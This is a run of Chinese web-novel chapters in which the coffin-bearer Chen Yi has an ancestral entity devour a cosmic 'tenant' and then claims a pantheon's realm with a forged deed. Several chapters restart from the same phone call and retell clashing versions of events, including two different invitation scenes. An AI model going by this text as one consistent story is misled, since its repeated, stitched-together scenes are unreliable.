这一声心跳,不似之前那般威严浩瀚,反而带着一股被扰了清梦的慵懒,以及……浓厚的兴趣。
一股无形的吸力,以陈义为中心,骤然爆发!
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>那股侵入庭院,让胖三等人痛不欲生的“饥饿”与“疯狂”意志,在这股吸力面前,瞬间遭遇了天敌。
它们发出了无声的尖啸,疯狂地想要逃离,退回那片混沌的维度。
但,晚了。
“既然来了,就别走了。”陈义淡淡地说。
吸力陡然增强十倍!
那片灰白色的精神污染,连同那股腥臭腐朽的气息,被硬生生地从空气中、从胖三等人的脑海里扯了出来!
它们化作一道肉眼可见的灰色气流,尖啸着,扭曲着,被陈义脚下的地面一口吞没,消失得无影无踪。
院子里光线复原,空气也重新变得清新。
胖三“扑通”一声瘫倒在地,浑身被冷汗浸透,他惊恐地摸了摸自己的嘴,还好,牙还在,没真的去啃砖头。
“嗝……”
一声轻微的、心满意足的饱嗝,从地下深处悠悠传来。
显然,“老祖宗”对这道送上门的开胃小菜,还算满意。
陈义再次看向病历铜镜。
镜面上的黑色旋涡依旧在疯狂旋转,但那份歇斯底里的挣扎,此刻却多了一分困惑,和一分极其细微,但确实存在的……恐惧。
它最强大的精神污染,非但没有起效,反而被对方当成了点心给吃了?
这超出了它的理解范畴。
“看来,它听不懂人话。”陈义收回目光,揣起手,转身朝屋里走去。
“八爷,那……那咱们咋办?”胖三连滚带爬地跟上来,声音都在发颤。
“还能怎么办。”
陈义的脚步顿了顿,头也不回。
“房客不交租,还敢恐吓房东。”
“胖三,通知兄弟们,把吃饭的家伙都擦亮点。”
“这次,咱们不去抬棺,也不去捞尸。”
他的声音里,带着冰冷的、理所当然的意味。
“咱们去**。”
第155章 把它家拆了,拖过来当面催债!
“强……**?”
胖三的脑子嗡地一下,像是被丧钟狠狠撞击,瞬间一片空白。
他跟了陈义这么久,抬过豪门的棺,镇过山里的魔,敕令过黄河,撬动过龙脉,甚至前不久还跟着爷去给不知道多少代前的老祖宗办了场惊天动地的大丧。
他自认胆子已经被锤炼得比金刚石还硬。
可“**”一个能吞噬光线的禁忌海域?
这他妈拿什么拆?用金瓜锤去砸海水吗?
“八爷,您……您是认真的?”猴子也凑了过来,一张脸皱得像苦瓜,“那鬼地方,秦老说连物理规则都是塌的,咱们怎么去?坐飞机过去,怕不是连人带铁皮直接被法则压成一张相片儿!”
“谁说我们要去了?”
陈义瞥了他们一眼,那眼神平静得像是在看一群没出过远门的村里娃。
他踱步到院中的石桌旁,伸出手指,在桌面轻轻一点。
这一点,看似无声无息,却仿佛点在了整座京城地脉的龙睛之上。
一股无形的律动以苏家老宅为核心,如水波般悄然荡开。
“去,那是送客,是咱们抬棺匠把人往外送的规矩。”
“拆,是迎客,是主人家在自己院里待客的规矩。”
陈义的语气不疾不徐,却透着一股不容置喙的森然。
“既然它不肯上门交租,那我就只能把它家的大门拆了,再把它从老窝里拖出来,当面问问它,花呗到底还不还。”
胖三等人听得眼皮狂跳。
这话说的云淡风轻,可那“拖出来”的对象,是一片海,一个世界!
“都愣着干什么。”
陈义拍了拍手,开始下达一连串让他们神魂都在颤抖的指令。
“干活。”
“大牛!”
“在!”大牛的身躯猛然绷直,如一尊即将苏醒的石像。
“家里的缚龙索和泰山石锁还剩多少?”
“报告八爷!上次撬龙脉用了大半,还剩三根缚龙索,十二个石锁!”
“不够。”陈义摇头,“秦老送来的那堆‘废铁’,就是冠军侯那口青铜棺的残渣,让老祖宗吃了剩下的,把那些东西,连同所有石锁,给我融了,重新锻成一条链子。”
大牛一愣:“八爷,那可是上古青铜,庚金之气重得能压塌山,寻常炉子根本化不开!”
陈义的视线朝地下瞥了一眼。
“用不着炉子。”
“你把东西堆在院里,我让老祖宗给你‘哈’口气,剩下的,看你手艺。”
大牛的脸颊肌肉狠狠一抽,但还是用尽全身力气吼道:“是!”
“猴子,老七!”
“在!”
“七巧分金盘拿出来。”陈义的目光扫过整个院子的空地,“你们两个,今天什么都别干,就以这院子为中心,用分金盘给我推演出‘九曲黄河阵’的阵基。不用布完,只要把‘引’和‘困’两个阵眼给我死死钉在这里。”
“我要这院子,能接住天上掉下来的任何东西!”
猴子和老七倒吸一口凉气,彼此对视,都看到了对方眼中的惊骇。
九曲黄河阵!
那是只存在于神话传说中,能困住大罗金仙的绝世凶阵!他们摸金一派的古籍里仅有只言片语的记载,几乎被当成神话。
现在,八爷竟要他们在这小小的四合院里,布下这种阵法的根基?
“八爷,这……这需要的地气……”
“地气我来调。”陈义直接打断,“你们只管定位,画线,出了半点差错,我唯你们是问。”
“是!”两人再不敢多言,立刻取出那面古老的七巧分金盘,神情凝重地开始勘测。
最后,陈义的目光落在了胖三身上。
胖三一个激灵,挤出一个比哭丧还难看的笑容:“爷,八爷,您……您吩咐。”
陈义从屋里拿出厚厚一沓质地如玉的黄裱纸,和一根崭新的狼毫笔,重重拍在胖三面前的石桌上。
“你的任务,最重。”
胖三一听,腰杆下意识挺直了三分。
“你,给我写欠条。”
“啊?”胖三的腰瞬间又塌了下去。
“就写‘兹有归墟之眼,拖欠神州大地房租、物业费、精神损失费、恐吓费……’,金额嘛……”陈义略作思忖,“你随便写,在后面多加几个零,写到这张纸写满为止。”
胖三彻底懵了,他指着那厚得像砖头一样的黄裱纸,结结巴巴地问:“八……八爷,这玩意儿……它认字儿吗?”
“它认不认字不重要。”
陈义的表情前所未有的严肃。
“重要的是,我们是文明人,讲规矩。收租不成,自然要走法律程序。这是‘法理’依据,是‘大义’所在。待会儿‘**’的时候,这就是我们的‘执法许可证’。”
“我告诉你,这东西,比什么神兵利器都管用。”
胖三看着陈义那不似开玩笑的眼神,再看看旁边已经开始叮叮当当搬运青铜棺残渣的大牛,和拿着罗盘念念有词、满头大汗的猴子老七,他突然觉得,自己好像才是那个最不正常的人。
他认命地拿起笔,铺开黄裱纸,一边嘀咕“这他妈叫什么事儿啊”,一边开始奋笔疾书。
“兹有归墟之眼,外号‘大
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海蜇’,拖欠神州大地房东陈义先生房租……”
整个苏家老宅,瞬间进入了一种诡异而高效的运转状态。
大牛将一堆闪烁着上古符文的青铜残片和沉重的泰山石锁堆在院子中央。
陈义只是朝地下看了一眼。
下一秒,一道灼热到让空间都开始扭曲的无形气息从地下喷薄而出,精准地包裹住那堆材料。
坚不可摧的上古庚金,在那气息面前,竟如残雪遇骄阳,无声无息地融化成了一滩流淌着山河之重的暗金色液体。
大牛赤着上身,抡起金瓜锤,对着那滩液体疯狂捶打!
火星四溅,每一锤都仿佛在为这片天地锻造律法!
另一边,猴子和老七手持分金盘,在院中穿梭,时而跺脚,时而插旗。
京城浩瀚的龙脉地气被他们引动,整个院子的地面上,开始浮现出肉眼难辨的金色阵纹,玄奥无边。
而胖三,则趴在石桌上,写得口干舌燥,他感觉自己不是在写欠条,而是在画一道道催命符,每一笔都带着一股子“欠债还钱,天经地义”的怨念。
随着准备工作的进行,院子里的气场变得越来越恐怖。
天空明明**无云,却给人一种黑云压城的窒息感。
胡同里,几只流浪猫突然弓起背脊,发出凄厉的尖啸,夹着尾巴亡命奔逃。
这是两个世界的规则在碰撞前,产生的本能斥力!
黄昏时分,一切准备就绪。
一条长达百丈,通体暗金,刻满了山川日月符文的巨大锁链,如一条沉睡的祖龙,盘踞在院中,散发着**一切的蛮横气息。
地面的金色阵纹已彻底隐去,但整个院落的空间,却给人一种自成一界的厚重感。
胖三也写完了最后一张欠条,厚厚一沓,堪比两本新华字典。
陈义站在院子中央,看着这一切,满意地点了点头。
他拿出那面“病历铜镜”。
镜面上,那个被烙上了“交租”二字的黑色旋涡,依然在不甘地狂乱扭动,仿佛在无声地咆哮。
陈义将铜镜高高举起,对准了苍穹。
他深吸一口气,声音不大,却清晰地传遍了整个院落,也仿佛传遍了九天十地。
“兄弟们,都站稳了。”
“房客欠租不还,还敢砸房东的门。”
“今天,咱们就替天行道,讲讲规矩。”
他眼中神光暴涨,人皇印的无上威严轰然迸发,尽数灌入铜镜之中!
“我倒要看看,是它的骨头硬,还是我这院子的地基硬!”
“义字堂!”
“开门,迎客!”
第156章 至于连夜跑路吗?
当陈义的声音落下,当那枚无形的人皇印将无上威严尽数灌入病历铜镜。
整个世界,被按下了一个看不见的暂停键。
京城,数千万生灵的心脏,在同一刹那,齐齐失序地抽搐了一下。
无数人茫然抬头,望向天空。
他们什么也看不见,却感觉神魂深处,压上了一座名为“天”的沉重碑石,连呼吸都变得粘稠而艰难。
苏家老宅上空,空间呈现出一种病态的扭曲,像是被一只无形巨手攥住的湿毛巾,拧出了层层叠叠的褶皱。
病历铜镜上,“归墟之眼”的影像彻底活了。
那个被烙上“交租”二字的漆黑旋涡,竟被一股不讲任何道理的蛮横伟力,从二维的镜面中,硬生生拽了出来!
“轰——!”
一声不属于物质界的巨响,在每个人的灵魂最深处悍然引爆。
老宅上方的天空,被撕开了一道狰狞的豁口!
那不是云层开裂,更不是空间裂缝。
那是一个通往未知维度的、蠕动着的、活生生的“腔体”。
腔体边缘是不断向内坍缩的绝对黑暗,中心则是无数混乱的色彩与扭曲的几何图形,疯狂搅动成一个巨大、冰冷、充满了无穷贪婪与恶意的旋涡。
一个饥饿了亿万年的意志,降临了!
“嘶——!”
尖锐的嘶鸣并非通过空气,而是直接刮擦着所有人的耳膜。
无数根布满了惨白色眼球的肉质触须,裹挟着能瞬间逼疯凡人的混沌气息,从那旋涡腔体内疯狂涌出,扑向地面。
院子里的石榴树,在几个呼吸间便走完了从繁盛到枯萎腐朽的全过程,化作一地飞灰。
这,就是“归墟之眼”的本体!
它被陈义以“抬棺契”的链接为绳索,以“交租”二字为坐标,强行从它所在的维度,拖拽了一部分降临到此地!
“大牛!”
陈义一声暴喝。
“来嘞!”
大牛早已蓄势待发,他双臂肌肉虬结如岩,青筋盘踞,一把抱起那条沉寂的暗金色锁链,用尽全身气力,朝着天空那道裂口,悍然投掷!
“社稷为锁,给老子镇!”
暗金锁链脱手,发出一声高亢龙吟,迎风暴涨。
链条上篆刻的山川河流、城市乡野的符文逐一亮起,沉重到极致的神州地气轰然爆发!
它不再是一条锁链,它化作了华夏九州的边界线!
“哐!”
锁链精准地缠绕住那道不断扩张的空间裂口,竟硬生生将其扩张的势头锁死在了百米方圆!
无数肉质触须撞在锁链之上,并非被灼烧,而是被一种至高的“法理”所拒绝。
它们仿佛撞上了一堵名为“自古以来”的无形壁垒,发出凄厉的惨叫,冒着黑烟缩了回去。
“胖三!”
“哎!哎!爷,我来了!”
胖三吓得三魂丢了七魄,可听到陈义的命令,还是本能地抱起那厚厚一沓黄裱纸“欠条”,冲到了院子中央。
他看着天上那群魔乱舞的恐怖景象,双腿抖得像是装了马达。
“扔!照着那洞口,给老子骂!”
“哦……哦!”
胖三闭上眼,把心一横,抓起一把“欠条”就往天上胡乱撒去。
同时,他扯开嗓子,用尽毕生所学的市井精粹,开始了最原始的道理宣讲:
“**个仙人板板!你个深海大王八!老赖!没脸没皮的腌臜货!”
“欠债还钱,天经地义!懂不懂规矩!啊?!”
“今天不把租金交出来,老子把你家祖坟都给你刨了!把你剁碎了做成麻辣小龙虾!”
那些黄裱纸写就的“欠条”,在空中无火自燃。
它们没有化作灰烬,而是变成了一个个沉甸甸、亮闪闪的金色大字。
——“理”。
——“法”。
这些字,带着人间最朴素、最坚定、最不容辩驳的契约之力,狠狠烙印向那些疯狂的触手。
诡异绝伦的一幕发生了。
那些不惧神威,不畏法宝的混沌造物,在接触到这些“欠条”的瞬间,竟如同撞见了世间最恶毒的诅咒,发出了比之前凄厉十倍的惨嚎!
“契约”与“债务”这两个它们完全无法理解的概念,此刻却成了附骨之蛆,让它们的形态都开始崩溃,疯狂退回漩涡之中。
一时间,竟形成了一片由“道理”构成的火力压制网!
猴子和老七早已在各自阵眼盘膝坐定,将全身功力灌入地下,死死稳住“九曲黄河阵”的阵基。
整个苏家老宅连同附近几条胡同,都被笼罩在一个无形的结界中,任凭外界能量狂暴如海啸,内部都稳如泰山。
这便是义字堂的战斗方式。
大牛是盾,是疆界。
胖三是矛,是法理。
猴子老七是基石,是阵眼。
而陈义,是这一切规矩的源头。
他看着天上那个被锁链捆缚,被欠条烫得嗷嗷直叫的旋涡,脸上没有丝毫波动。
他只是抬起脚,对着脚下的地面,重重一跺。
“老祖宗。”
“开饭了。”
“咚——!!!!”
一声无法用言语形容的心跳,从地底最深处传来!
那心跳声里,带着一股极致的、苏醒了的、焚烧万物的……饥饿!
苏家老宅的院子,在这一刻,变成了一个无形的巨口!
那口深不见底的青铜巨棺,通过陈义这个“端口”,将它那吞噬一切的“食欲”,投射到了现实世界!
天空中的旋涡,那不可一世的“归墟之眼”,猛地一滞。
它那混乱的意志中,第一次清晰地浮现出一种情绪。
恐惧。
它感觉到,一股比它更古老、更贪婪、更不讲道理的意志,锁定了自己。
在那个意志面前,它不再是猎食者。
它是……食物!
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>它疯狂地挣扎,想要切断与这个世界的链接,想要逃回自己的位度。
但陈义烙下的“交租”二字,如同一根贯穿了维度的毒刺,死死地钉住了它。
大牛的“社稷之锁”更是将它的“门”,强行固定在开启状态。
它,逃不掉了。
“想走?”
陈义冷笑一声。
“租金还没付呢。”
他抬起手,对着天空的旋涡,虚虚一握。
“收!”
那股来自地下的恐怖吸力,瞬间攀升至顶峰!
天空中的旋涡,像是被一只看不见的手捏住了根部,连同里面所有的触手、眼球、混沌能量,被一股蛮不讲理的力量,从那道裂口中,连根拔起!
那是一幅何等壮观而又恐怖的画卷!
一条由疯狂和混沌构成的“星河”,被强行从另一个维度扯出,它扭曲着,哀嚎着,被尽数灌入苏家老宅的院子,然后凭空消失。
仿佛被一个看不见的黑洞,彻底吞噬。
整个过程,不足十秒。
当最后一缕混沌气息被吞噬殆尽,天空的裂口猛地愈合,恢复了朗朗晴空。
大牛的锁链失去了目标,“哐当”一声砸落在地。
胖三的骂声戛然而止,呆呆地看着天空,手里还捏着最后一把“欠条”。
一切,风平浪静。
仿佛刚才那场毁天灭地的神魔大战,只是一场幻觉。
“嗝……嗝……”
地底下,传来了一连串心满意足的饱嗝声。
那声音震得整个京城的地面都微微颤动了一下,引发了地震局的一阵鸡飞狗跳。
陈义拿出病历铜镜。
镜面上,代表“归墟之眼”的那个黑色旋涡,已经缩小了九成不止,黯淡无光,像一根风中残烛,瑟瑟发抖。
而在它那残破的核心处,除了“交租”二字外,又多了一行更加霸道的紫金烙印。
【此地有主,闲神免进】
陈义满意地收起铜镜。
就在这时,他口袋里的红色专线电话,发出了撕心裂肺的警报。
他接起,秦老那几乎要失声的咆哮,震得他耳朵嗡嗡作响。
“陈……陈小友!!”
“归墟之眼!它、它它……它跑了!!”
“天基监测网刚刚捕捉到,归墟之眼所在的整片空间维度,正在以超越光速的速度,朝着未知宇宙深处……逃逸!它像是在躲避什么天敌!它正在逃离我们的世界!”
陈义听着电话里的咆哮,抬头看了看**无云的天空。
又低头看了看瘫在地上,累得像死狗一样的兄弟们,和怀里抱着一沓“欠条”,幸福地晕过去的胖三。
他长长地叹了口气,对着电话那头,用一种极其无辜的语气说道:
“知道了。”
“唉,现在的房客,心理素质真差。”
“不就上门催个租嘛,至于连夜搬家跑路吗?”
“没劲。”
第157章 鸿门宴?错,是老子来收房了!
电话那头的咆哮,几乎要将听筒震碎。
秦老的声音里混杂着惊骇、狂喜,以及一种劫后余生的剧烈颤抖。
他用尽全力组织着语言,试图向陈义描述那足以颠覆全人类认知的一幕。
“陈小友!跑了!”
“那个‘归墟之眼’,它所在的整个空间坐标,正在以一种无法理解的速度……逃逸!”
“它像是在躲避天敌!它在逃离我们的世界!”
“全球所有监测到异常的超凡势力都疯了,他们在疯狂猜测,神州境内到底……到底诞生了何等恐怖的存在!”
秦老的声音越来越激动,最后几乎变成了嘶吼。
陈义只是淡淡地应了一声。
“知道了。”
随即,他挂断电话,将那部红色专线机揣回兜里。
院子里,一片狼藉。
大牛一屁股坐在地上,那条暗金色的“社稷之锁”盘在他脚边,已经光泽尽敛,变得朴实无华。
猴子和老七背靠着背,脸色苍白如纸,显然是脱力了。
唯独胖三,四仰八叉地躺在院子中央,怀里死死抱着剩下的一沓“欠条”,像是抱着什么绝世珍宝。
他睡得正香,嘴角甚至挂着一丝可疑的晶莹,嘴里还时不时嘟囔一句。
“交租……刨你家祖坟……”
陈义看着这几个累得东倒西歪的兄弟,眼神,难得地柔和了些许。
就在这时,一股精纯到了极致的本源力量,从地底深处那口青铜巨棺中缓缓回馈而来。
那股力量无声无息地涌入陈义的四肢百骸,修复着他刚才强行催动人皇印的损耗。
更重要的是,这股力量径直冲入他的识海,与那几枚代表着不同权柄的鳞片汇聚在一起。
在“社稷”、“兵主”、“六道轮回”等几枚鳞片的中央,一枚全新的鳞片,缓缓凝聚成形。
这枚鳞片通体呈现出一种深邃的星空色泽,表面并非光滑,而是布满了无数细密的、如同空间褶皱般的纹理。
仿佛将一方宇宙乾坤,都浓缩在了其中。
【界域之鳞】。
新的权柄信息,自然而然地在他心头浮现。
划定疆域,空间跳跃。
其核心能力只有两句话。
凡立足之地,皆为疆土。
凡棺椁所落,皆为道场。
这是一种比“社稷之锁”更加霸道,更加不讲道理的领土宣告。
陈义正细细感悟着这份新得到的力量,苏家老宅那扇饱经沧桑的木门,却被人轻轻敲响了。
“咚,咚,咚。”
声音很轻,彬彬有礼。
与刚才那毁天灭地的阵仗,形成了鲜明刺骨的对比。
可就是这三声轻响,让刚缓过一口气的大牛等人瞬间绷紧了神经!
一个个挣扎着爬起来,眼中满是血丝与警惕。
谁?
这时候,还有谁敢来敲义字堂的门?
陈义眉头微挑,示意猴子去开门。
猴子抓起一把工兵铲,关节捏得发白,他挪到门后,猛地将门拉开。
门外,空空如也。
夜色下的胡同里,连一丝风都没有,寂静得可怕。
就在众人以为是错觉时,他们才发现,门前的半空中,静静悬浮着一张请柬。
那请柬并非实体,更像是一道空间被撕开的微小伤口,伤口中流淌着捕获的星光,编织成一张华丽而虚幻的信笺,散发着不属于这个世界的气息。
“什么玩意儿?”
胖三也被惊醒了,揉着眼睛凑过来。
陈义走上前,伸出手。
指尖直接从那星光请柬中穿了过去。
可就在他触碰的瞬间,一股庞大的信息流,不经允许,便直接烙印进了在场所有人的脑海。
那信息带着一种居高临下的礼貌,开篇便自报家门。
“尊敬的东方新晋业主,您好。”
“我们是‘万界业主联盟’。听闻阁下在贵宝地确立了新的秩序,特此致以诚挚的祝贺,并诚邀您于三日后,前往中立空间‘不周山遗迹’,参加为您举办的新晋业主欢迎宴。”
信息到此,还算客气。
但紧接着,话锋陡然一转,透出不加掩饰的冷意。
“另,据联盟档案记载,不久前逃离的‘归墟之眼’,乃是本联盟一位有正式备案的‘注册租客’。阁下对其进行的暴力催收行为,已严重扰乱了正常的市场秩序。此事,亦需要您在宴会之上,与我们当面沟通解决。”
信息戛然而止。
院子里,一片死寂。
“**!”
胖三第一个跳了起来,破口大骂:“这他妈什么玩意儿?业主联盟?还注册租客?他们这是黑中介啊!吃了上家吃下家!那老赖欠咱们的租金,他们是不是得给垫上?!”
“八爷,这是鸿门宴!”猴
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子脸色凝重,“对方来者不善,摆明了是来找茬的。”
老七也点头:“归墟之眼那种东西,只是个租客……这个联盟,恐怕来头大得吓人。”
陈义却笑了。
他从对方那套“业主”、“租客”、“市场秩序”的说法里,嗅到了一股同类的味道。
大家都是玩规矩的。
只不过,对方的规矩,是用来束缚别人,维护自己利益的。
而他的规矩,是用来让别人遵守的。
他没有理会兄弟们的义愤填膺,只是抬眼看着那张悬浮的星光请柬,对着空气,淡然开口。
“宴会,我会去。”
“但不是做客。”
说完,他转身走到胖三面前,从他怀里那沓宝贝“欠条”中,抽出一张空白的黄裱纸。
胖三下意识地抱紧了剩下的,一脸警惕地看着他。
陈义拿起桌上的朱砂笔,笔走龙蛇。
两个遒劲有力、充满了蛮横法理的大字,瞬间跃然纸上。
——“房契”。
他捏着这张薄薄的黄裱纸,随手往空中一抛。
诡异的一幕发生了。
那张看起来平平无奇的黄裱纸,在空中竟如同一张饥饿的大口,一口将那封由星光构成的华丽请柬,连同其附带的规则与坐标,吞噬得干干净净!
随后,黄裱纸化作一道流光,瞬间消失在夜色之中。
陈义拍了拍手上的灰,回头看向自己的兄弟们,嘴角勾起一抹冷峻的弧度。
“都歇够了,准备一下。”
“咱们去接收一份新产业。”
……
与此同时,远在某个无法用距离衡量的未知维度。
一座由无数星辰骸骨铸就的宏伟神殿内,十几尊形态各异、气息恐怖的身影正襟危坐。
就在刚才,他们联手发出了那封前往神州的请柬。
突然,神殿中央的空间微微一颤。
一张皱巴巴的、边缘还带着点毛刺的黄色纸张,凭空出现,缓缓飘落。
纸上,两个用鲜红朱砂写就的、散发着无尽霸道与占有欲的东方文字,灼痛了所有神祇的眼睛。
神殿内,陷入了死一般的寂静。
一位笼罩在混沌中的存在,发出了难以置信的意念波动。
“我们的‘请柬’……被污染了。”
“他……他用我们的规则通道,反向给我们……下了一份契约?”
第158章 新堂口姓陈了,诸神,该交物业费了!
电话那头,秦老的咆哮逐渐失控,最终化作夹杂着狂喜与极度困惑的语无伦次。
陈义没什么兴趣听他科普宇宙社会学的暗森林法则,只用一句“知道了”便挂断了电话。
院子里,胖三从幸福的昏厥中悠悠转醒,揉着发胀的后脑勺,看着**无云的天空,一脸懵圈。
“爷,那……那大王八呢?跑了?”
“嗯,连夜搬家了。”陈义的语气平淡得像是在说一件微不足道的小事。
他缓缓垂眸,视线落在自己的掌心。
就在“归墟之眼”被老祖宗吞噬殆尽的瞬间,一枚全新的鳞片在他体内悄然凝聚成形。
这枚鳞片并非实体,而是一种纯粹概念的具象化,呈现出一种不断流转、折叠的晶体结构,仿佛内里包含了无数个正在生灭的空间维度。
【界域之鳞】。
执此鳞者,可无视时空壁垒,强开界门,横渡虚空。
这是老祖宗消化掉一个维度级邪物后,反馈给他的“餐后甜点”。
也就在此刻,一直沉寂的病历铜镜,镜面之上泛起一圈圈法则的涟漪。
这一次,上面没有浮现任何代表病灶的黑气,而是凝结出一张古朴、华丽,完全由光之法则编织而成的请柬。
请柬上,一种陈义从未见过、却能瞬间理解其意的文字烙印其上,带着不容置喙的威严。
【尊敬的东方界域之主,鉴于您近期活跃的商业行为,万界业主联盟诚邀您莅临不周山遗迹,参与新晋业主欢迎宴。】
落款处,是一个由亿万契约符文纠缠、盘踞而成的复杂印记,神圣且冰冷。
“业主联盟?欢迎宴?”
胖三凑过脑袋,看了一眼,顿时乐了。
“嘿,爷,您这业务都干出国际了啊!连外国神仙都得给您发请帖了。”
陈义的目光落在那枚印记上,嘴角勾起一抹意味深长的弧度。
他刚把一个租客吓得连夜跑路,房东协会就找上门来了。
这哪是什么欢迎宴。
分明是鸿门宴。
“收拾东西。”陈义开口,声音不大,却让院子里的气氛瞬间一肃。
“啊?爷,咱们不是刚收工吗?”胖三一愣。
“去赴宴。”
陈义说着,抬起手,掌心的【界域之鳞】陡然亮起。
他对着面前的空气,如同推开一扇看不见的门,轻轻一划。
“嗡——”
苏家老宅的院墙之上,空间如水波般剧烈荡漾,一个稳定、深邃,边缘闪烁着破碎星辉的门户缓缓成型。
门后,是光怪陆离的混沌虚空,无数残破的大陆碎片在其中沉浮。
“走吧,看看这帮‘业主’,葫芦里卖的什么药。”
陈义掸了掸衣角,第一个迈步踏入门户。
胖三、大牛、猴子、老七等人不敢有丝毫怠慢,立刻紧随其后。
一步踏出,便是天旋地转。
当视线再次清晰时,义字堂众人已然身处一片广袤无垠的悬浮大陆之上。
脚下是洁白如玉的石板,冰冷坚硬。头顶是无数缓缓旋转的星辰,散发着亘古的光。
极目远眺,远方的混沌虚空中,漂浮着一座座风格迥异的神国碎片。
有的金碧辉煌,圣光普照,天使的吟唱跨越虚空而来。
有的黑沙滚滚,巍峨的金字塔在其中若隐若现,散发着死亡与永恒的气息。
有的英灵殿高耸入云,女武神骑着天马在殿堂上空巡视,目光锐利。
而在他们正前方,一座完全由星光构筑的宏伟殿堂内,早已坐满了形态各异的强大存在。
鹰首人身的神祇,周身环绕着死亡的律令,让空间都为之枯萎。
手持雷霆权杖的白发神王,眼眸开阖间,有电蛇狂舞。
浑身缠绕着亚麻绷带的法老之魂,端坐于黄金宝座之上,仅仅是存在,就让时间流速变得滞涩。
数百道目光,或好奇,或审视,或饱含着赤裸裸的敌意,如实质的探照灯般,尽数汇聚在陈义一行人身上。
这里的每一个存在,都代表着一个古老的神话体系,一个曾经辉煌的文明。
他们,就是所谓的“万界业主联盟”。
一个由纯粹“契约”法则构成的光影人形,从最中央的王座上缓缓起身。
他没有五官,没有实体,只是一团代表着“秩序”与“法理”的光芒聚合体。
“欢迎你,来自东方的界域之主。”
光影理事长的声音并非通过空气传播,而是直接在众人脑海中响起,冰冷,不带任何感情,像是一条条被刻入灵魂的法典条文。
“我们很欣赏你的力量,但同时也对你无视规则的行为,感到遗憾。”
没有一句废话,直入主题。
光影理事手一挥,一本由光芒组成的厚重法典凭空出现,无风自动,哗啦啦地翻开。
“根据联盟‘神圣租赁法’第三千七百二十一条:任何成员不得在未经联盟仲裁的情况下,以暴力手段驱逐已签订租赁契约的租户。租户‘归墟之眼’已向联盟提出申诉,指控你非法入侵、暴力催收、并对其造成了不可逆转的维度损伤。”
随着他每一个字吐出,整个空间的法则都在随之共鸣。
一种无形的、沉重到极致的压力,从四面八方挤压而来。
“噗通!”
胖三双腿一软,直接跪了下去,他感觉自己像个偷渡客,正在被这个世界的免疫系统疯狂排斥、攻击,连灵魂都在发出被撕裂的哀鸣。
大牛、猴子、老七等人也是面色惨白如纸,他们体内的气劲被压制得死死的,仿佛鱼儿离开了水,存在本身都变得“不合法”,即将被这片空间彻底抹除。
“你,违反了规矩。”
光影理事长宣判道,声音里带着至高无上的裁决之力。
刹那间,整个悬浮大陆的法则,化作一条条无形的秩序锁链,从虚空中浮现,缠绕向陈义。
它们试图剥夺陈义身上来自神州大地的权柄,将他与那片生他养他的土地彻底割裂。
陈义眉心的人皇印光芒,在这股法则的压制下,竟也开始明暗不定。
他仿佛真的成了一条离了水的过江龙,虎落平阳。
光影理事长的意志中,透出一丝胜券在握的波动。
“裁决如下:”<
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br>他的声音变得宏大而威严,如同万千神祇的共同宣判,响彻整个神域。
“剥夺你的界域之主身份,交出人皇印及所有法则权柄。你将永世成为联盟的奴仆,以偿还你的罪孽。”
话音落下。
殿堂内,那数百位神祇同时起身。
奥林匹斯的神王举起了雷霆,埃及的法老吟唱起湮灭的咒文,北欧的女武神拔出了弑神的利剑……
无穷的神威汇聚在一起,将这片空间彻底化作一座针对“界域之主”的终极囚笼。
所有的攻击,所有的法则,都在下一瞬,即将落在陈义身上。
然而,面对这足以抹杀一方神系的恐怖裁决,陈义的脸上,非但没有一丝一毫的惊慌,反而露出了一抹近似于嘲讽的笑容。
他无视了头顶即将落下的万千神罚,也无视了那光影理事长冰冷的宣判。
他只是轻轻地抬起脚,对着脚下这片由无数神国碎片拼接而成的大陆,重重地跺了下去。
“咚。”
一声轻响。
却让整个空间的法则,都为之一滞。
陈义抬起头,看向那高高在上的光影理事长,淡淡开口:
“不好意思。”
“我刚签了合同。”
他张开手。
一张纸,一张普普通通,甚至有些粗糙的黄裱纸,凭空出现在他的掌心。
那正是他之前让胖三写下的“欠条”之一,但此刻,它已经发生了翻天覆地的变化。
纸上,用朱砂写就的“房契”二字,龙飞凤舞,每一个笔画都蕴含着不容辩驳的法理。
甲方处,赫然是“万界业主联盟”那枚由亿万契约符文构成的复杂印记,与请柬上的那一枚,分毫不差。
而乙方处,签着两个霸道绝伦的紫金大字。
——陈义。
契约,早已成立!
在他接受请柬,并踏入此地的那一刻,这张由他单方面拟定,却又完全符合对方“契约至上”核心法则的“房契”,便在“万界业主联盟”自身的法则见证下,悄然生效了。
他们邀请他来,是为了审判他。
而在陈义的规矩里,被请上门,就是来看房的。
看好了,就该签合同了。
陈义扬了扬手中的“房契”,声音不大,却清晰地传遍了整个殿堂,传到每一位神祇的耳中。
“根据房契,这地方,连同你们脚底下踩着的所有神国,从现在起,姓陈了。”
他环视着那些表情从威严瞬间转为惊愕、错愕、乃至难以置信的诸神,嘴角的弧度更深了。
“欢迎各位,来到我的新堂口。”
“现在,我们来好好谈一谈……”
“你们拖欠了几千年的物业费问题。”
话音落下的瞬间。
整个空间的法则,彻底逆转!
那股庞大到足以抹杀一切的压制力,以十倍、百倍的强度,狠狠地反弹回了那数百位神祇的身上!
他们惊恐地发现,自己与这片空间的联系,被一股更霸道的法理,强行切断了。
他们,成了“非法入侵者”。
而陈义,成了此地唯一、合法的主人。
第159章 开张大吉,诸神为我抬棺!
电话那头,秦老的咆哮还在继续,但陈义已经挂断了。
他看着瘫了一地的兄弟,还有那个抱着一沓“欠条”幸福晕过去的胖三,嘴角扯了扯。
没劲。
然而,这份“没劲”并未持续太久。
就在“归墟之眼”连滚带爬逃离这个维度的瞬间,苏家老宅的院落,这个刚刚吞噬了一方禁忌存在的空间节点,并未就此平息。
院墙之外,胡同深处,一层无形的壁垒悄然洞开。
那里不再是京城的寻常巷陌,而是一片被撕裂的、光怪陆离的混沌虚空。
无数道或威严、或暴虐、或神圣、或诡异的目光,穿透了维度,死死钉在这座小小的四合院上。
光与影扭曲着,凝聚成一尊无面的人形。
祂的声音由无数种语言的祈祷重叠而成,混乱而威严:“凡人,你窃取了不属于你的权柄,染指了‘不周山’的根基!”
“交出此地,跪伏于众神脚下,或在神罚中化为尘埃!”
堪称灭世的神威一波接着一波,试图将这座小院碾成齑粉。
然而,这些力量在触及院墙的刹那,便被无声地吞噬、消化,连一丝涟漪都未曾泛起。
院子里的每一块砖,每一片瓦,甚至空气中弥漫的尘埃,都散发着一种古老而霸道的气息。
那是地契的味道。
是房东的绝对**。
所有外来的神祇,在踏入这片区域的瞬间,都感觉自己的神力运转变得晦涩、粘稠。
原本撬动法则如呼吸般简单的伟岸身躯,此刻竟像是陷入了深不见底的泥潭,每动一下都无比艰难。
